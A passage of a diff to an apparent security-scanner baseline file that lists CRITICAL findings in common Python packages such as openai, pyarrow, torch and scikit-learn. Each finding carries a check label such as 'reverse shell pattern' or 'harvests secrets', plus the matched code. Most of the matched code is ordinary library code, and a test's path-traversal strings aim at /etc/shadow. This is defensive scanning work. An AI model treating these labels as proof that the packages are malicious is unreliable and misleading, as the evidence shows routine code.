code, arg.decode()])", + "evidence_hash": "e2e6436a0849b687046a00576836b0f5f048ecf6118f9d8e6d5558fefd0aa488" }, { "package": "numpy", "file": "numpy/f2py/capi_maps.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L159: d = eval(f.read().lower(), {}, {})" + "evidence": "L159: d = eval(f.read().lower(), {}, {})", + "evidence_hash": "70e3d1f82997b292e97bd3f8c3804181f575a7dce74cb2fa8e9fb1f0a119ab2f" }, { "package": "numpy", "file": "numpy/lib/tests/test__datasource.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L45: malicious_files = ['/etc/shadow', '../../shadow',\nNetwork: L2: import urllib.request as urllib_request" + "evidence": "FS: L45: malicious_files = ['/etc/shadow', '../../shadow',\nL46: '..\\\\system.dat', 'c:\\\\windows\\\\system.dat']\nNetwork: L2: import urllib.request as urllib_request", + "evidence_hash": "9aa30dfee01a520f20ab77de468feb0558bd9d95c6dd509146ffc48c8d4dc469" }, { "package": "openai", "file": "openai/_base_client.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L264: while True:" + "evidence": "L264: while True: sha256:95ca67e46d42354ae650abbdc5b0d97df8b0ed43187800bf40f5690c3901b94b", + "evidence_hash": "a57d8d15fed0bf04f9967dcc18a18b80bb19f4095675bccbb78ac0450d7fce14" }, { "package": "openai", "file": "openai/_client.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L174: api_key = os.environ.get(\"OPENAI_API_KEY\") | L184: admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L207: webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\")\nNetwork: L140: http_client: httpx.Client | None = None, | L521" + "evidence": "Env: L209: api_key = os.environ.get(\"OPENAI_API_KEY\") | L219: admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L243: webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\") | L805: api_key = os.environ.get(\"OPENAI_API_KEY\") | L815: admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L839: webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\")\nNetwork: L144: http_client: httpx.Client | None = None, | L586: http_client: httpx.Client | None = None, | L740: http_client: httpx.AsyncClient | None = None, | L1193: http_client: httpx.AsyncClient | None = None,", + "evidence_hash": "d806c1e5eedb1eba7e2d9e6f31f3cc59b1882c8e843dfa3f5eac1fe7abdf296d" }, { "package": "openai", "file": "openai/auth/_workload.py", "check": "Accesses cloud metadata/IMDS AND makes network calls", "severity": "CRITICAL", - "evidence": "IMDS: L96: url = \"http://169.254.169.254/metadata/identity/oauth2/token\" | L149: url = \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity\"\nNetwork: L77: http_client: httpx.Client | None = None, | " + "evidence": "IMDS: L96: url = \"http://169.254.169.254/metadata/identity/oauth2/token\" | L149: url = \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity\"\nNetwork: L77: http_client: httpx.Client | None = None, | L108: with httpx.Client() as client: | L133: http_client: httpx.Client | None = None, | L155: with httpx.Client() as client: | L248: with httpx.Client() as client:", + "evidence_hash": "1581d9f4a23393e9af23fbe5ef9f66807b22c5b5a3f1fe167254c9ebee108567" }, { "package": "openai", "file": "openai/lib/azure.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L213: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L216: azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\") | L533: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\")\nNetwork: L36: _HttpxClientT = TypeVar(\"_HttpxClientT\", bou" + "evidence": "Env: L214: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L217: azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\") | L538: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L541: azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\")\nNetwork: L37: _HttpxClientT = TypeVar(\"_HttpxClientT\", bound=Union[httpx.Client, httpx.AsyncClient]) | L100: class AzureOpenAI(BaseAzureClient[httpx.Client, Stream[Any]], OpenAI): | L119: http_client: httpx.Client | None = None, | L141: http_client: httpx.Client | None = None, | L163: http_client: httpx.Client | None = None, | L189: http_client: httpx.Client | None = None, | L297: http_client: httpx.Client | None = None, | L421: class AsyncAzureOpenAI(BaseAzureClient[httpx.AsyncClient, AsyncStream[Any]], AsyncOpenAI): | L441: http_client: httpx.AsyncClient | None = None, | L464: http_client: httpx.AsyncClient | None = None, | L487: http_client: httpx.AsyncClient | None = None, | L513: http_client: httpx.AsyncClient | None = None, | L621: http_client: httpx.AsyncClient | None = None,", + "evidence_hash": "a81d958bdcc6c2e98290a6592a9d52f8fc44e6ce4ac983301840136464779923" }, { "package": "openai", "file": "openai/lib/bedrock.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L133: api_key = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\") | L308: api_key = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\")\nNetwork: L119: http_client: httpx.Client | None = None, | L203: http_client: httpx.Client | None = None, | L294: ht" + "evidence": "Env: L105: token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\") | L150: environment_token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\")\nNetwork: L415: http_client: httpx.Client | None = None, | L531: http_client: httpx.Client | None = None, | L649: http_client: httpx.AsyncClient | None = None, | L767: http_client: httpx.AsyncClient | None = None,", + "evidence_hash": "92dbec8ccd79c1e0bc41e93cdd0bdbb091220616c6a1352873196e9dda6bd85c" + }, + { + "package": "openai", + "file": "openai/resources/beta/responses/responses.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L3999: while True: sha256:df298b6eaf3416589b79f4ef283f8fb76e54d505bfda8840673f8e6419117e2e", + "evidence_hash": "10ce5cb5a7097fcff4042ddcfb4802edda60aa4b7b113c8b926a52ddb76f78c2" }, { "package": "openai", "file": "openai/resources/beta/threads/runs/runs.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L1074: while True:" + "evidence": "L1053: while True: sha256:973bb1aeca2e17e022872dc343a1bf5d8fe33bfa59fe01e2f8fe875522db5bce", + "evidence_hash": "24626e4aa53047a515ead563b42c07c43f73a2c5b82978fa59f58ffc2859e19b" }, { "package": "openai", "file": "openai/resources/realtime/realtime.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L310: while True:" + "evidence": "L310: while True: sha256:458198ff3d3f05870bf98c9564cbfd68c739e57b9bbe4120ed81e3eb6af74a05", + "evidence_hash": "a3165d21e46b3ce553795daeae53e8f80e8e89c5cb228e68e6dcaff54bca5a89" }, { "package": "openai", "file": "openai/resources/responses/responses.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L3803: while True:" + "evidence": "L3950: while True: sha256:1ce0b5a388c747945cdfda1a71b77afdfd03ae840d7aa9fa62f02eb00aa5e29f", + "evidence_hash": "6de300ebb5e6e17cb51c89cbcdf08515a44655182f0776f0908a9d1043ebbcd7" }, { "package": "openai", "file": "openai/resources/vector_stores/file_batches.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L347: while True:" + "evidence": "L347: while True: sha256:604449e8ed433290252fe3f7a48a9e1d8ce46fa148b4ef3037042cc42fdb737b", + "evidence_hash": "e6c1e9bb40accffe2d597e875439bab405e51d9e53f1dad87fd276c0d4014981" }, { "package": "openai", "file": "openai/resources/vector_stores/files.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L376: while True:" + "evidence": "L376: while True: sha256:1bf8d6ef91d4043c98982fb19e5f5685b239a855cd4ff6c11b9b19651d43e944", + "evidence_hash": "8d26a3a0ab3d937e6d4f6873fa648c04afc59484122287bc96b1c022ede4065a" }, { "package": "openai", "file": "openai/resources/videos.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L186: while True:" + "evidence": "L186: while True: sha256:e48be2f193c22eb93024339b9c04fff5dd80c8318708012432df119aef612a41", + "evidence_hash": "f1764390bf5e4e55fdedc1f5ec492535f3dd4444f9fb17eb6ce9eaaa010d1a81" }, { "package": "protobuf", "file": "protobuf-3.19.6-nspkg.pth", "check": ".pth has advanced obfuscation (marshal/compile/zlib/__import__)", "severity": "CRITICAL", - "evidence": "L1: import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('google',));importlib = has_mfs and __import_..." + "evidence": "L1: import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('google',));importlib = has_mfs and __import__('importlib.util');has_mfs and __import sha256:233fd2c695435bb5ee9cc00f442153f9dc9901e8a352814c2d23dfd6da0fe70d", + "evidence_hash": "7675d9e6d5a180ae22e00fb0ca8adde65e63adc9751bc7d5bd337238b4ba584c" }, { "package": "ptyprocess", "file": "ptyprocess/_fork_pty.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L33: os.dup2(child_fd, STDIN_FILENO) | L34: os.dup2(child_fd, STDOUT_FILENO) | L35: os.dup2(child_fd, STDERR_FILENO)" + "evidence": "L33: os.dup2(child_fd, STDIN_FILENO) | L34: os.dup2(child_fd, STDOUT_FILENO) | L35: os.dup2(child_fd, STDERR_FILENO)", + "evidence_hash": "fd104d50945eb60182d81e988885ec927f3b3abc3758b78bece2cd9d65613926" }, { "package": "pyarrow", "file": "pyarrow/tests/conftest.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L210: env = os.environ.copy() | L241: env = os.environ.copy() | L267: env = os.environ.copy()\nNetwork: L24: import urllib.request | L203: resp = urllib.request.urlopen(f\"http://{address}/minio/health/live\")" + "evidence": "Env: L210: env = os.environ.copy() | L241: env = os.environ.copy() | L267: env = os.environ.copy()\nNetwork: L24: import urllib.request | L203: resp = urllib.request.urlopen(f\"http://{address}/minio/health/live\")", + "evidence_hash": "8819f266bbf0cb7cdd5a0a491b83b79fb5eefc132b77d2f4b080dfda8ac32514" }, { "package": "pyarrow", "file": "pyarrow/tests/test_extension_type.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", - "evidence": "Base64: L1065: decoded_schema = base64.b64decode(meta.metadata[b\"ARROW:schema\"])\nSubprocess: L1350: subprocess.check_call([sys.executable, 'setup.py'," + "evidence": "Base64: L1065: decoded_schema = base64.b64decode(meta.metadata[b\"ARROW:schema\"])\nSubprocess: L1350: subprocess.check_call([sys.executable, 'setup.py',\nL1351: 'build_ext', '--inplace'],\nL1352: env=subprocess_env)", + "evidence_hash": "83d7a4cf32639e44b3a7923c5ca68bdf5488ffccf32bc0992821e45680a145a5" }, { "package": "pyarrow", "file": "pyarrow/tests/test_flight.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", - "evidence": "Base64: L592: token = base64.b64decode(token) | L692: decoded = base64.b64decode(values[1])\nSubprocess: L2674: res = subprocess.run([sys.executable, \"-c\", code], env=env," + "evidence": "Base64: L592: token = base64.b64decode(token) | L692: decoded = base64.b64decode(values[1])\nSubprocess: L2674: res = subprocess.run([sys.executable, \"-c\", code], env=env,\nL2675: capture_output=True)", + "evidence_hash": "8b353712547a31cb704343cc04b2faa25b5cf5850c59a8f7866baeb28f6ec317" }, { "package": "pyarrow", "file": "pyarrow/tests/test_orc.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L154: os.environ['TZDIR'] = '/tmp/non_existent'" + "evidence": "L154: os.environ['TZDIR'] = '/tmp/non_existent' sha256:d41f7ed866d91fe7b45dfdb557b81bb9c2a05101cf28cd7d39d8aa6faf249b00", + "evidence_hash": "4570f9f31ee6a90906e1074fa1877dcf0c8e061a0b83dec089da25b61071133c" }, { "package": "pyarrow", "file": "pyarrow/tests/util.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L30: import socket" + "evidence": "L30: import socket sha256:5a5d71dfd22906b5dc8b1514316391e05a865f2c94c20dcc96683963f48106f7", + "evidence_hash": "76caefdfe4ac470f26379f05238b2dbfd62a864b8cd43e2392f228264cb1de85" }, { "package": "pyarrow", "file": "pyarrow/util.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L293: tarfile.open(tzdata_compressed_path).extractall(tzdata_path)\nNetwork: L198: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | L234: from urllib.request import urlopen, Request | L236: with urlopen(req) as response:" + "evidence": "Archive: L293: tarfile.open(tzdata_compressed_path).extractall(tzdata_path)\nNetwork: L198: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | L234: from urllib.request import urlopen, Request | L236: with urlopen(req) as response: | L243: with requests.get(url) as response:", + "evidence_hash": "f231aaa341028cecb8fb2e183ea401dc08826facf3b18e8f733d653f6cad8d9e" }, { "package": "pygments", "file": "pygments/formatters/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L103: exec(f.read(), custom_namespace)" + "evidence": "L103: exec(f.read(), custom_namespace)", + "evidence_hash": "b767963474babbcfef5652eb7528d34dd9e17efa2aa0d2cef63d809ea4ad0f83" }, { "package": "pygments", "file": "pygments/lexers/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L154: exec(f.read(), custom_namespace)" + "evidence": "L154: exec(f.read(), custom_namespace)", + "evidence_hash": "b767963474babbcfef5652eb7528d34dd9e17efa2aa0d2cef63d809ea4ad0f83" }, { "package": "pygments", "file": "pygments/lexers/_mysql_builtins.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L792: 'history',\nNetwork: L1285: from urllib.request import urlopen | L1297: lex_file = urlopen(LEX_URL).read().decode('utf8', errors='ignore') | L1303: item_create_file = urlopen(ITEM_CREATE_URL).read().decode('utf8', errors='ignore')" + "evidence": "FS: L792: 'history', sha256:7c4e519af214f72bf45d4dcfa6a90aa96d2ffd5d1b76b244998110077a946fd2\nNetwork: L1285: from urllib.request import urlopen | L1297: lex_file = urlopen(LEX_URL).read().decode('utf8', errors='ignore') | L1303: item_create_file = urlopen(ITEM_CREATE_URL).read().decode('utf8', errors='ignore')", + "evidence_hash": "b379f7d1fc3d64911722a7082237ed225c874240cf388c07120b8cdaace16114" }, { "package": "pygments", "file": "pygments/lexers/_php_builtins.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L3300: with tarfile.open(download[0]) as tar:\nNetwork: L3255: from urllib.request import urlretrieve" + "evidence": "Archive: L3300: with tarfile.open(download[0]) as tar:\nNetwork: L3255: from urllib.request import urlretrieve", + "evidence_hash": "4b893b3eb4125c9ec6bbda983f5fbddde68a89552d29113d58b3c22b1905b582" }, { "package": "pyperclip", "file": "pyperclip/__init__.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", - "evidence": "Base64: L488: decoded_bytes = base64.b64decode(base64_encoded)\nSubprocess: L80: return subprocess.call(['which', name], | L100: p = subprocess.Popen(['pbcopy', 'w'], | L105: p = subprocess.Popen(['pbpaste', 'r']," - }, - { - "package": "pytest", - "file": "_pytest/_py/path.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L1153: exec(f.read(), mod.__dict__)" - }, - { - "package": "pytest", - "file": "_pytest/capture.py", - "check": "Reverse shell / bind shell pattern", - "severity": "CRITICAL", - "evidence": "L483: os.dup2(self.targetfd_invalid, targetfd) | L522: os.dup2(self.tmpfile.fileno(), self.targetfd) | L532: os.dup2(self.targetfd_save, self.targetfd)" - }, - { - "package": "pytest", - "file": "_pytest/config/__init__.py", - "check": "Reverse shell / bind shell pattern", - "severity": "CRITICAL", - "evidence": "L260: os.dup2(devnull, sys.stdout.fileno())" + "evidence": "Base64: L488: decoded_bytes = base64.b64decode(base64_encoded)\nSubprocess: L80: return subprocess.call(['which', name],\nL81: stdout=subprocess.PIPE, stderr=subprocess.PIPE) == 0 | L100: p = subprocess.Popen(['pbcopy', 'w'],\nL101: stdin=subprocess.PIPE, close_fds=True) | L105: p = subprocess.Popen(['pbpaste', 'r'],\nL106: stdout=subprocess.PIPE, close_fds=True) | L167: p = subprocess.Popen(['xclip', '-selection', selection],\nL168: stdin=subprocess.PIPE, close_fds=True) | L175: p = subprocess.Popen(['xclip', '-selection', selection, '-o'],\nL176: stdout=subprocess.PIPE,\nL177: stderr=subprocess.PIPE,\nL178: close_fds=True) | L195: p = subprocess.Popen(['xsel', selection_flag, '-i'],\nL196: stdin=subprocess.PIPE, close_fds=True) | L203: p = subprocess.Popen(['xsel', selection_flag, '-o'],\nL204: stdout=subprocess.PIPE, close_fds=True) | L221: subprocess.check_call(args, close_fds=True) | L224: p = subprocess.Popen(args, stdin=subprocess.PIPE, close_fds=True) | L231: p = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True) | L241: p = subprocess.Popen(\nL242: ['qdbus', 'org.kde.klipper', '/klipper', 'setClipboardContents',\nL243: text.encode(ENCODING)],\nL244: stdin=subprocess.PIPE, close_fds=True) | L248: p = subprocess.Popen(\nL249: ['qdbus', 'org.kde.klipper', '/klipper', 'getClipboardContents'],\nL250: stdout=subprocess.PIPE, close_fds=True) | L469: p = subprocess.Popen(['clip.exe'],\nL470: stdin=subprocess.PIPE, close_fds=True) | L477: p = subprocess.Popen(['powershell.exe', '-noprofile', '-command', ps_script],\nL478: stdout=subprocess.PIPE,\nL479: stderr=subprocess.PIPE,\nL480: close_fds=True)", + "evidence_hash": "a6c17529beeffa4140f293b36de643bb48d5c4095151573e599840d22e31664f" }, { "package": "python-dateutil", "file": "dateutil/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L16: return importlib.import_module(\".\" + name, __name__)" + "evidence": "L16: return importlib.import_module(\".\" + name, __name__)", + "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" }, { "package": "rich", "file": "rich/ansi.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L229: pty.spawn(sys.argv[1:], read)" + "evidence": "L229: pty.spawn(sys.argv[1:], read)", + "evidence_hash": "7aa3b73533776987582edff045267f71b62040823c62b66bd40bef2b744b3ed4" }, { "package": "rich", "file": "rich/console.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L2041: os.dup2(devnull, sys.stdout.fileno())" + "evidence": "L2041: os.dup2(devnull, sys.stdout.fileno())", + "evidence_hash": "6ff12ba150358aa0b2756d60df29a7ac9c08e60d0a1ad42157fd30af6e7d50ee" }, { "package": "rich-rst", "file": "rich_rst/_vendor/docutils/readers/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L129: module = importlib.import_module('rich_rst._vendor.docutils.readers.'+name)" + "evidence": "L129: module = importlib.import_module('rich_rst._vendor.docutils.readers.'+name)", + "evidence_hash": "3910f6c4f0684f9ed611f0c7b0d3b3121f7fa1188186dd22c0f9f0615a137073" }, { "package": "rich-rst", "file": "rich_rst/_vendor/docutils/writers/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L271: module = importlib.import_module('rich_rst._vendor.docutils.writers.'+name)" + "evidence": "L271: module = importlib.import_module('rich_rst._vendor.docutils.writers.'+name)", + "evidence_hash": "bdc0d6a4e35580266debac3c46b0845a315af192ce8df6fcec9cf01d1aa09106" }, { "package": "scikit-learn", "file": "sklearn/datasets/_openml.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L100: while True:" + "evidence": "L100: while True: sha256:1f05a1b4fdd843b309634f583cb5e919866ef38ec5aa0b7d8a66ac8820655594", + "evidence_hash": "69597a64e5670a0f9a3c2aafc0bde4160f6170a9e2dc38f2c413cfa8d22ad193" + }, + { + "package": "scikit-learn", + "file": "sklearn/datasets/_openml.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L100: while True: sha256:270363bb66980201e477f9b94886e4023f7a3d21b5ce026b7603a8c249a50c5b", + "evidence_hash": "53edbe07c312d459068d38e537b5114e65685ac3d4487b0423fa4542b5df20fe" }, { "package": "scikit-learn", "file": "sklearn/externals/array_api_compat/cupy/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')" + "evidence": "L10: __import__(__package__ + '.linalg') | L11: __import__(__package__ + '.fft')", + "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" }, { "package": "scikit-learn", "file": "sklearn/externals/array_api_compat/dask/array/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')" + "evidence": "L11: __import__(__package__ + '.linalg') | L12: __import__(__package__ + '.fft')", + "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" }, { "package": "scikit-learn", "file": "sklearn/externals/array_api_compat/numpy/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")" + "evidence": "L22: __import__(__package__ + \".linalg\") | L24: __import__(__package__ + \".fft\")", + "evidence_hash": "2b68d103ce6c59e6ee2017226c87c8c8bb43c60f8f195e75662d3da8981dd159" }, { "package": "scikit-learn", "file": "sklearn/externals/array_api_compat/torch/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')" + "evidence": "L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')", + "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" }, { "package": "scikit-learn", "file": "sklearn/svm/tests/test_svm.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L1040: os.dup2(os.pipe()[1], 1) | L1047: os.dup2(stdout, 1)" + "evidence": "L980: os.dup2(os.pipe()[1], 1) | L987: os.dup2(stdout, 1)", + "evidence_hash": "a4b97d799d5de94c1d9a8df1cfc0f862fc64fea5c3ccd06116a37a5fcbe9f653" }, { "package": "scipy", - "file": "scipy/_lib/array_api_compat/cupy/__init__.py", + "file": "scipy/_external/array_api_compat/cupy/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')" + "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')", + "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" }, { "package": "scipy", - "file": "scipy/_lib/array_api_compat/dask/array/__init__.py", + "file": "scipy/_external/array_api_compat/dask/array/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')" + "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')", + "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" }, { "package": "scipy", - "file": "scipy/_lib/array_api_compat/numpy/__init__.py", + "file": "scipy/_external/array_api_compat/numpy/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")" + "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")", + "evidence_hash": "2b68d103ce6c59e6ee2017226c87c8c8bb43c60f8f195e75662d3da8981dd159" }, { "package": "scipy", - "file": "scipy/_lib/array_api_compat/torch/__init__.py", + "file": "scipy/_external/array_api_compat/torch/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')" + "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')", + "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" }, { "package": "sentencepiece", "file": "sentencepiece/__init__.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L1221: os.dup2(self.ostream.fileno(), self.orig_stream_fileno) | L1226: os.dup2(self.orig_stream_dup, self.orig_stream_fileno)" + "evidence": "L1221: os.dup2(self.ostream.fileno(), self.orig_stream_fileno) | L1226: os.dup2(self.orig_stream_dup, self.orig_stream_fileno)", + "evidence_hash": "bba233b67f8ea4f0723b2fecaabf56528531bccd77ace836165bf38b47246bcc" }, { "package": "setuptools", "file": "distutils-precedence.pth", "check": ".pth has advanced obfuscation (marshal/compile/zlib/__import__)", "severity": "CRITICAL", - "evidence": "L1: import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__('_distutils_hack').add_shim();" + "evidence": "L1: import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__('_distutils_hack').add_shim();", + "evidence_hash": "2f70c2fa9227e9db9348215d9c7b246d2786aac7516f86d71a5952c7c225aa16" }, { "package": "setuptools", "file": "setuptools/_distutils/tests/test_build_ext.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L115: shutil.copyfile(libz_so[-1], '/tmp/libxx_z.so')" + "evidence": "L115: shutil.copyfile(libz_so[-1], '/tmp/libxx_z.so') sha256:bef4914cda18bd0d231ab5481953dcf1ed3f2d7589a3a1de35be40435fbae5b9", + "evidence_hash": "32624628db3d7f0e6d667695033821ee804e4eb941c6fbe0421e997f7e729ad7" }, { "package": "setuptools", "file": "setuptools/_vendor/jaraco/context/__init__.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L79: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L14: import urllib.request | L78: req = urllib.request.urlopen(url)" + "evidence": "Archive: L79: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L14: import urllib.request | L78: req = urllib.request.urlopen(url)", + "evidence_hash": "4b7365cdf9279e002a67e13669a1596e5036a3d33eb88152236ff30d8093672c" }, { "package": "sympy", "file": "sympy/external/importtools.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L154: __import__(module + '.' + submod)" + "evidence": "L154: __import__(module + '.' + submod)", + "evidence_hash": "c08b793301fde50f2369338cceea56329e39c315fc1c177480ef094932182a0b" }, { "package": "tiktoken", "file": "tiktoken/load.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L38: cache_dir = os.environ[\"TIKTOKEN_CACHE_DIR\"]\nNetwork: L17: resp = requests.get(blobpath)" + "evidence": "Env: L38: cache_dir = os.environ[\"TIKTOKEN_CACHE_DIR\"]\nNetwork: L17: resp = requests.get(blobpath)", + "evidence_hash": "3779e1812928be4f20704ffc40a65b8c45b69a319b39e94d3ad92b4c775eb12d" }, { "package": "torch", "file": "functorch/dim/magic_trace.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L15: output: str = \"trace.fxt\", magic_trace_cache: str = \"/tmp/magic-trace\"" + "evidence": "L15: output: str = \"trace.fxt\", magic_trace_cache: str = \"/tmp/magic-trace\" sha256:509c96b9721a10fc1df0567da3a366f08ed337b3afa3e57971756bd941da675e", + "evidence_hash": "6e64b3ddbb81079049d46dc3bd1024958c71ce0de299cda650720cfd168d5023" }, { "package": "torch", "file": "torch/_inductor/codecache.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", - "evidence": "Base64: L1211: content = base64.b64decode(data)\nSubprocess: L2692: subprocess.run( | L2995: cmd_output = subprocess.run( | L3707: out = subprocess.check_output(" + "evidence": "Base64: L1211: content = base64.b64decode(data)\nSubprocess: L2692: subprocess.run(\nL2693: cmd.split(), capture_output=True, text=True, check=True\nL2694: ) | L2995: cmd_output = subprocess.run(\nL2996: (\"openssl\", \"sha512\", filename), capture_output=True, text=True\nL2997: ) | L3707: out = subprocess.check_output(\nL3708: [\"ldd\", os.path.join(search, file)]\nL3709: ) | L3791: jobs.append(functools.partial(subprocess.check_call, cmd)) | L3876: subprocess.check_call(\nL3877: shlex.split(halide_cmd_gen.get_command_line())\nL3878: ) | L4336: subprocess.check_output(\nL4337: cmd_parts, stderr=subprocess.STDOUT, env=os.environ\nL4338: ) | L4591: output = subprocess.check_output(\nL4592: cmd_parts,\nL4593: stderr=subprocess.STDOUT,\nL4594: text=True,\nL4595: env=os.environ,\nL4596: )", + "evidence_hash": "c09774087b702a6c5d6e2e85d9239c7c241ec938fbe9c0153e8f0b5c0710389b" + }, + { + "package": "torch", + "file": "torch/_inductor/codecache.py", + "check": "base64 decode + subprocess execution (staged payload)", + "severity": "CRITICAL", + "evidence": "Base64: L1727: content = base64.b64decode(data)\nSubprocess: L3270: subprocess.run(\nL3271: cmd, capture_output=True, text=True, check=True\nL3272: ) | L3583: cmd_output = subprocess.run(\nL3584: (\"openssl\", \"sha512\", filename), capture_output=True, text=True\nL3585: ) | L4338: out = subprocess.check_output(\nL4339: 